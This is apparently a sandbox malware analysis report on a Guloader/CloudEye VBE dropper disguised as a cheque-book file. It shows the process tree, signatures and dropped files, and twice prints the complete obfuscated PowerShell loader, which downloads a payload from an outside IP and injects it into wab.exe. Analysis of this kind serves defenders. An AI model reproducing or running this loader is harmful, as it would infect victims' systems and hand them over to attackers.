Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10/05/2024, 07:43

General

  • Target
    Chq book 004237.vbe
  • Size 7KB
  • Sample240510-jj9aeaba3x
  • SHA256 233bdd39cf60503957deb8d48b136fd78e2a7e435929ba4710d2e767509d50a0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Chq book 004237.vbe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Knippelgod = 1;$Opsange='Su';$Opsange+='bstrin';$Opsange+='g';Function Socialraadgiverne($Sigbrands){$Afskrllet=$Sigbrands.Length-$Knippelgod;For($Ansttelsesforholdet=2;$Ansttelsesforholdet -lt $Afskrllet;$Ansttelsesforholdet+=3){$fdselshjlpers+=$Sigbrands.$Opsange.Invoke( $Ansttelsesforholdet, $Knippelgod);}$fdselshjlpers;}function Apologer($Frigorifico){. ($Blodsnkning) ($Frigorifico);}$Gastrulating=Socialraadgiverne 'saMReoCozU,iDilVtl,ta.a/Co5H..Co0sl B.( WO,iDyn ddLooM wScsOr S.NGrTNo Fr1Wi0Ud.St0Sy;,l OrW,riNan.u6Br4 a; . Fixb.6a,4Re;O, DirCev,e:Li1sa2 P1Ma.K 0 ) e SkG OerecenkwioA / T2c,0 .1Sk0Un0To1Go0F 1Ti FoFKoiMar Ne FfTyo sxA / A1Ko2b,1 U. P0bi ';$Fodfolkene=Socialraadgiverne ' RUUnsGeeR r ,-AfAGagure NnH tPa ';$Superpatriots=Socialraadgiverne 'P.hLet Ft ,p ,:A /Bi/Br1Be7.p8Va.,l2Un1C 5Sy..e2Ad3fo6 ,.O 2k.2O,9J,/F,A ,a VrD s RtLaa.ulAnl ,eKnnF eaas C.Tah.lhRepDa ';$Triatomically=Socialraadgiverne 'Ps>De ';$Blodsnkning=Socialraadgiverne ',riEqeexxbr ';$Tirsa='Hoplomachist';Apologer (Socialraadgiverne ' BS Ae dtOf- OCPaoSknStt ,eAknCatHy .o-T.P Aa ntTeh P OlTSp: N\LoP PaVarU kByi SnFesfeo ,nom1 S9Ra0St. tM.x et.e St- dVApa.ilTuu NeRa St$PoTFriF r PsPraCo;Dv ');Apologer (Socialraadgiverne 'Pli BfBe Ba(LutSce hs gt R-Nip MaD.tSohA. ,aT e:.v\ BPBlaPrrNokMoi.nnE sTroAan,a1 ,9Du0N .Bat UxLntSt)Co{CoeCexL,i .tA.} ,;Na ');$Aplace = Socialraadgiverne 'Bee .c dhA,o.i Co%flaPipInpSld oa CtviaAv%No\,kSDrt FrVia,efopp SrPloNec Se AsUnsBie .rResHu.TyGchoI,aU. I,&,k&De WeB.cA,hU.oAn A.$Ni ';Apologer (Socialraadgiverne ' ,$A.gMjlProRebN aS l D:,eOA rTadJ,dPoe,el,iiImn HgSusS pRerBnosug Hr,oaLommrmOpeMetKr=.n(BacAbm bdCo H,/Stc.o P$DeAAlpHilHaa ecHue f)Ar ');Apologer (Socialraadgiverne 'Pa$E,g,ol ooMibPoa nlDa:DaTMaiEllB,sEniT k mrAfi,pnFog IeStnA,sO,= S$ PSs,uTrp.ee mrF p .a NtUtrEdi oDytLis R. SsPrp AluniV.t.n(Mo$ ST .rR.i.iaCitSpo.imSyiW,c Ka.ul,nlS.yB.)ph ');$Superpatriots=$Tilsikringens[0];Apologer (Socialraadgiverne ' .$ .g l,ioGrbReaDalGi:usI,enA.f.ooC rLimAfiS.d .a Fb ,l e.a=P.NDeeE,wE -FoOEdbAsjO eTec .t N OpSD yK,sStt aeWomDr. KN ne UtVa. UWUneDubHaCRalTria,eNrnRet t ');Apologer (Socialraadgiverne ',u$SwIstn MfC,ocorpomVgiP,dEnaThbPrlSpeHe. WH KeB.aChd CeTur s.o[ $BrFUnoF,dScf NoHelImk e on ae n]Ko=.k$ SGB.aSes.lt ,r EuGal Ua TtHoiSunShg.e ');$Fabriksvarens=Socialraadgiverne ',oIArnDifSuo er Lm iPrd daHabPalFleFo.c DEfoPowKrnb.lAcoHaaDedFeFGli .lTreGl(Ad$ TSMauF,p ,e rr,opIna etTurB.i Ro KtA sSq,S.$D BSuoChnTid eeKrkKlaOrr xlMueHon ,e )Ro ';$Fabriksvarens=$Orddelingsprogrammet[1]+$Fabriksvarens;$Bondekarlene=$Orddelingsprogrammet[0];Apologer (Socialraadgiverne 'A.$BagD.lCooFabchaBrlUd:SaIRis,acLeefonbreSnsM aI.euntSttDieHer n2 2 C2 E=hj(SkTSae.asS t U- lP Ha lt Rh . Da$KrBR o MnRedDieLikO,a,rrdrlP.eShnCoeFo)Ti ');while (!$Iscenesaetter222) {Apologer (Socialraadgiverne 'ah$ TgBelUno ibidaU.l ,:OrFCooE cDaa ,lFiiA.z CeUnd ,= .$Bit rNeu Ge ') ;Apologer $Fabriksvarens;Apologer (Socialraadgiverne ' dSBet.aaL.rMotSn- USUnl .ebleKep W Am4ru ');Apologer (Socialraadgiverne 'si$,egColLoo.fbAdaRulH : IimsDecBreAknEleE,sReaLaeV.tTrt.eeEtrFi2En2t,2Op=Ac(ThTPreNesBatIn- eP,oa St,uhTe e$SpBInoIdnvadPeeEtkR,aC rLul ae,tnMie x)Co ') ;Apologer (Socialraadgiverne ' .$P.gFrlA oAlbT,a Al ,: PCor Uo ugPrrPeaBgmP mEfe,drP iU.n rg ,sSvm.seN tS,o.od eeMi=,u$ ,gSelU,oTibSaaDil s:MiAMefInb vlTas eOr2Un5.t4 D+Su+Mi%Co$M.TAci oldes Bi RkMirT i AnKng ueBenBlsRe.ZicT,oSmuDenSetSp ') ;$Superpatriots=$Tilsikringens[$Programmeringsmetode];}$Ineffectively=325694;$phonebsning=26906;Apologer (Socialraadgiverne '.n$ ,gFolFlo DbKua slSk: SS,hllgaKon,ug Ue lb wiIndFa In= F TaGUne TtOf-JoC FoB.nDytWoeA nHythu Un$A,BCoo lnJad eS kD aInrBel.reH.nA ePh ');Apologer (Socialraadgiverne ' c$Myg ol Fo .bKvaMalS,:G,L,raRabH.oJur,sa FtPuoTrrCliPoeRee Bn AhNae .dSv r=Ch D[ mSBayYnsPrtIse im,c.BlCK,o ,nClv reN.rHet E]Ho:,o:UtF .rL.o bm MBDeaM,sAse P6 o4InS KtkrrSai .nPugP (Ju$AbSS lf.aPln .g,neOrb CiStdPa).s ');Apologer (Socialraadgiverne 'ba$ Wg FlSpo bC,aP.lAf:MaS kvNea,lg,rsP,t or BmVisTaaC.nU.lMogP.ss, i= r Th[StSA,yKbsCotQ e amP .,pTf,eT.xFot D.F.ESonErcWao,idSaiBrn,ugEl]ca:Se:UnAHaSB.COfI CIAn.laGUne nt.lSL,tNur .iF.nChgRe(Ph$MeLSlaCobSaoChr SaRetReo.erLaiInel epunddhS.ePrd.o)pe ');Apologer (Socialraadgiverne '.d$B,gF l o rbPea lTh:HaB,aiR r dEnmReaBynBj=Se$TrS ,vBaaG,gTns Wtslr PmNoskoaPenTrlGugF,s n.VrsTeuEcbCisMotPorP.i AnFagUd(P.$TaIHgn.ie Lf.afSceP cKotE.iH.vHyeB lPry B, o$ op,oh eoL nudeFob Bs .nEniAcn Ug l)D ');Apologer $Birdman;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Strafprocessers.Goa && echo $"
        3⤵
          PID:2636
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Knippelgod = 1;$Opsange='Su';$Opsange+='bstrin';$Opsange+='g';Function Socialraadgiverne($Sigbrands){$Afskrllet=$Sigbrands.Length-$Knippelgod;For($Ansttelsesforholdet=2;$Ansttelsesforholdet -lt $Afskrllet;$Ansttelsesforholdet+=3){$fdselshjlpers+=$Sigbrands.$Opsange.Invoke( $Ansttelsesforholdet, $Knippelgod);}$fdselshjlpers;}function Apologer($Frigorifico){. ($Blodsnkning) ($Frigorifico);}$Gastrulating=Socialraadgiverne 'saMReoCozU,iDilVtl,ta.a/Co5H..Co0sl B.( WO,iDyn ddLooM wScsOr S.NGrTNo Fr1Wi0Ud.St0Sy;,l OrW,riNan.u6Br4 a; . Fixb.6a,4Re;O, DirCev,e:Li1sa2 P1Ma.K 0 ) e SkG OerecenkwioA / T2c,0 .1Sk0Un0To1Go0F 1Ti FoFKoiMar Ne FfTyo sxA / A1Ko2b,1 U. P0bi ';$Fodfolkene=Socialraadgiverne ' RUUnsGeeR r ,-AfAGagure NnH tPa ';$Superpatriots=Socialraadgiverne 'P.hLet Ft ,p ,:A /Bi/Br1Be7.p8Va.,l2Un1C 5Sy..e2Ad3fo6 ,.O 2k.2O,9J,/F,A ,a VrD s RtLaa.ulAnl ,eKnnF eaas C.Tah.lhRepDa ';$Triatomically=Socialraadgiverne 'Ps>De ';$Blodsnkning=Socialraadgiverne ',riEqeexxbr ';$Tirsa='Hoplomachist';Apologer (Socialraadgiverne ' BS Ae dtOf- OCPaoSknStt ,eAknCatHy .o-T.P Aa ntTeh P OlTSp: N\LoP PaVarU kByi SnFesfeo ,nom1 S9Ra0St. tM.x et.e St- dVApa.ilTuu NeRa St$PoTFriF r PsPraCo;Dv ');Apologer (Socialraadgiverne 'Pli BfBe Ba(LutSce hs gt R-Nip MaD.tSohA. ,aT e:.v\ BPBlaPrrNokMoi.nnE sTroAan,a1 ,9Du0N .Bat UxLntSt)Co{CoeCexL,i .tA.} ,;Na ');$Aplace = Socialraadgiverne 'Bee .c dhA,o.i Co%flaPipInpSld oa CtviaAv%No\,kSDrt FrVia,efopp SrPloNec Se AsUnsBie .rResHu.TyGchoI,aU. I,&,k&De WeB.cA,hU.oAn A.$Ni ';Apologer (Socialraadgiverne ' ,$A.gMjlProRebN aS l D:,eOA rTadJ,dPoe,el,iiImn HgSusS pRerBnosug Hr,oaLommrmOpeMetKr=.n(BacAbm bdCo H,/Stc.o P$DeAAlpHilHaa ecHue f)Ar ');Apologer (Socialraadgiverne 'Pa$E,g,ol ooMibPoa nlDa:DaTMaiEllB,sEniT k mrAfi,pnFog IeStnA,sO,= S$ PSs,uTrp.ee mrF p .a NtUtrEdi oDytLis R. SsPrp AluniV.t.n(Mo$ ST .rR.i.iaCitSpo.imSyiW,c Ka.ul,nlS.yB.)ph ');$Superpatriots=$Tilsikringens[0];Apologer (Socialraadgiverne ' .$ .g l,ioGrbReaDalGi:usI,enA.f.ooC rLimAfiS.d .a Fb ,l e.a=P.NDeeE,wE -FoOEdbAsjO eTec .t N OpSD yK,sStt aeWomDr. KN ne UtVa. UWUneDubHaCRalTria,eNrnRet t ');Apologer (Socialraadgiverne ',u$SwIstn MfC,ocorpomVgiP,dEnaThbPrlSpeHe. WH KeB.aChd CeTur s.o[ $BrFUnoF,dScf NoHelImk e on ae n]Ko=.k$ SGB.aSes.lt ,r EuGal Ua TtHoiSunShg.e ');$Fabriksvarens=Socialraadgiverne ',oIArnDifSuo er Lm iPrd daHabPalFleFo.c DEfoPowKrnb.lAcoHaaDedFeFGli .lTreGl(Ad$ TSMauF,p ,e rr,opIna etTurB.i Ro KtA sSq,S.$D BSuoChnTid eeKrkKlaOrr xlMueHon ,e )Ro ';$Fabriksvarens=$Orddelingsprogrammet[1]+$Fabriksvarens;$Bondekarlene=$Orddelingsprogrammet[0];Apologer (Socialraadgiverne 'A.$BagD.lCooFabchaBrlUd:SaIRis,acLeefonbreSnsM aI.euntSttDieHer n2 2 C2 E=hj(SkTSae.asS t U- lP Ha lt Rh . Da$KrBR o MnRedDieLikO,a,rrdrlP.eShnCoeFo)Ti ');while (!$Iscenesaetter222) {Apologer (Socialraadgiverne 'ah$ TgBelUno ibidaU.l ,:OrFCooE cDaa ,lFiiA.z CeUnd ,= .$Bit rNeu Ge ') ;Apologer $Fabriksvarens;Apologer (Socialraadgiverne ' dSBet.aaL.rMotSn- USUnl .ebleKep W Am4ru ');Apologer (Socialraadgiverne 'si$,egColLoo.fbAdaRulH : IimsDecBreAknEleE,sReaLaeV.tTrt.eeEtrFi2En2t,2Op=Ac(ThTPreNesBatIn- eP,oa St,uhTe e$SpBInoIdnvadPeeEtkR,aC rLul ae,tnMie x)Co ') ;Apologer (Socialraadgiverne ' .$P.gFrlA oAlbT,a Al ,: PCor Uo ugPrrPeaBgmP mEfe,drP iU.n rg ,sSvm.seN tS,o.od eeMi=,u$ ,gSelU,oTibSaaDil s:MiAMefInb vlTas eOr2Un5.t4 D+Su+Mi%Co$M.TAci oldes Bi RkMirT i AnKng ueBenBlsRe.ZicT,oSmuDenSetSp ') ;$Superpatriots=$Tilsikringens[$Programmeringsmetode];}$Ineffectively=325694;$phonebsning=26906;Apologer (Socialraadgiverne '.n$ ,gFolFlo DbKua slSk: SS,hllgaKon,ug Ue lb wiIndFa In= F TaGUne TtOf-JoC FoB.nDytWoeA nHythu Un$A,BCoo lnJad eS kD aInrBel.reH.nA ePh ');Apologer (Socialraadgiverne ' c$Myg ol Fo .bKvaMalS,:G,L,raRabH.oJur,sa FtPuoTrrCliPoeRee Bn AhNae .dSv r=Ch D[ mSBayYnsPrtIse im,c.BlCK,o ,nClv reN.rHet E]Ho:,o:UtF .rL.o bm MBDeaM,sAse P6 o4InS KtkrrSai .nPugP (Ju$AbSS lf.aPln .g,neOrb CiStdPa).s ');Apologer (Socialraadgiverne 'ba$ Wg FlSpo bC,aP.lAf:MaS kvNea,lg,rsP,t or BmVisTaaC.nU.lMogP.ss, i= r Th[StSA,yKbsCotQ e amP .,pTf,eT.xFot D.F.ESonErcWao,idSaiBrn,ugEl]ca:Se:UnAHaSB.COfI CIAn.laGUne nt.lSL,tNur .iF.nChgRe(Ph$MeLSlaCobSaoChr SaRetReo.erLaiInel epunddhS.ePrd.o)pe ');Apologer (Socialraadgiverne '.d$B,gF l o rbPea lTh:HaB,aiR r dEnmReaBynBj=Se$TrS ,vBaaG,gTns Wtslr PmNoskoaPenTrlGugF,s n.VrsTeuEcbCisMotPorP.i AnFagUd(P.$TaIHgn.ie Lf.afSceP cKotE.iH.vHyeB lPry B, o$ op,oh eoL nudeFob Bs .nEniAcn Ug l)D ');Apologer $Birdman;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2336
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Strafprocessers.Goa && echo $"
            4⤵
              PID:2832
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              PID:2704

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            XOQ60ZFAD9QPSQ08ZEC4.temp

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XOQ60ZFAD9QPSQ08ZEC4.temp
            • Size 7KB
            • SHA256 80669b64f21bc487db69b319c21c5357fc6eb8d3fcc42cb300c65a149f5f2f3e
            • MD5 SHA1 SHA512 SSDEEP

            Strafprocessers.Goa

            • Path C:\Users\Admin\AppData\Roaming\Strafprocessers.Goa
            • Size 459KB
            • SHA256 72fb7eebc4f59c1e77628e2815e714918ca83afe8819001550d4af46a9553431
            • MD5 SHA1 SHA512 SSDEEP

            memory/2336-17-0x0000000006550000-0x000000000760E000-memory.dmp

            memory/2684-7-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2684-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

            memory/2684-9-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2684-10-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2684-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2684-8-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2684-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

            memory/2684-4-0x000007FEF5FEE000-0x000007FEF5FEF000-memory.dmp

            memory/2684-18-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2684-19-0x000007FEF5FEE000-0x000007FEF5FEF000-memory.dmp

            memory/2684-21-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

            memory/2704-20-0x0000000000590000-0x000000000164E000-memory.dmp

            memory/2704-27-0x0000000000400000-0x0000000000581000-memory.dmp

            memory/2704-26-0x0000000000590000-0x000000000164E000-memory.dmp